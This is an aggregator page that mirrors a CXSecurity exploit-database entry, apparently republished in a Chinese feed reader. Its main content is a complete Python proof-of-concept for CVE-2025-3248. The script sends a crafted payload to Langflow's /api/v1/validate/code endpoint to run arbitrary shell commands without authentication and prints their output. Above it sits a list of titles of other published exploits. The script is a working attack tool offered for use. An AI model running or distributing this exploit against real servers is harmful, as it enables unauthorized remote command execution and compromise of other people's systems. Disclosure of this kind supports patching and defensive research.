惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

美团技术团队
J
Java Code Geeks
有赞技术团队
有赞技术团队
GbyAI
GbyAI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 叶小钗
阮一峰的网络日志
阮一峰的网络日志
Microsoft Security Blog
Microsoft Security Blog
IT之家
IT之家
G
Google Developers Blog
月光博客
月光博客
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
S
SegmentFault 最新的问题
博客园 - 三生石上(FineUI控件)
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - Franky
腾讯CDC
V
Visual Studio Blog
博客园 - 【当耐特】
D
Docker
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Engineering at Meta
Engineering at Meta
L
LangChain Blog

The Exploit Database - CXSecurity.com

ProFTPD mod_sql post-authentication SQLi RCE Joomla Extension 4.1.4 PHP Object injection LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting strongSwan 5.9.13 DoS - CXSecurity.com OrkesConductor 3.30.2 Unauthenticated Remote Code Execution ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR) Joomla Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload (RCE) Microsoft Edge <= 150.0.4078.48 (Chromium-based) Type Confusion RCE PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution
Langflow 1.2.x Remote Code Execution (RCE)
2025-08-03 · via The Exploit Database - CXSecurity.com

Langflow 1.2.x Remote Code Execution (RCE)

#!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands. # Usage: #python3 cve-2025-3248.py http://target:7860 "id" import requests import argparse import json from urllib.parse import urljoin from colorama import Fore, Style, init import random init(autoreset=True) requests.packages.urllib3.disable_warnings() BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX] def show_banner(): print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)} ╔════════════════════════════════════════════════════╗ ║ Langflow <= 1.2.x - CVE-2025-3248 ║ ║ Remote Code Execution via exposed API ║ ║ No authentication — triggers exec() call ║ ╚════════════════════════════════════════════════════╝ Author: Raghad Abdallah Al-syouf {Style.RESET_ALL}""") class LangflowRCE: def __init__(self, target_url, timeout=10): self.base_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = False self.session.headers = { "User-Agent": "Langflow-RCE-Scanner", "Content-Type": "application/json" } self.timeout = timeout def run_payload(self, command): endpoint = urljoin(self.base_url, "/api/v1/validate/code") payload = { "code": ( f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass" ) } print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}") try: response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout) print(f"{Fore.YELLOW}[+] HTTP {response.status_code}") if response.status_code == 200: try: json_data = response.json() err = json_data.get("function", {}).get("errors", [""])[0] if isinstance(err, str) and err.startswith("b'"): output = err[2:-1].encode().decode("unicode_escape").strip() return output or "[!] No output returned." except Exception as e: return f"[!] Error parsing response: {e}" return "[!] Target may not be vulnerable or is patched." except Exception as e: return f"[!] Request failed: {e}" def main(): parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE") parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)") parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)") args = parser.parse_args() show_banner() exploit = LangflowRCE(args.url) result = exploit.run_payload(args.cmd) print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}") if __name__ == "__main__": main()



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com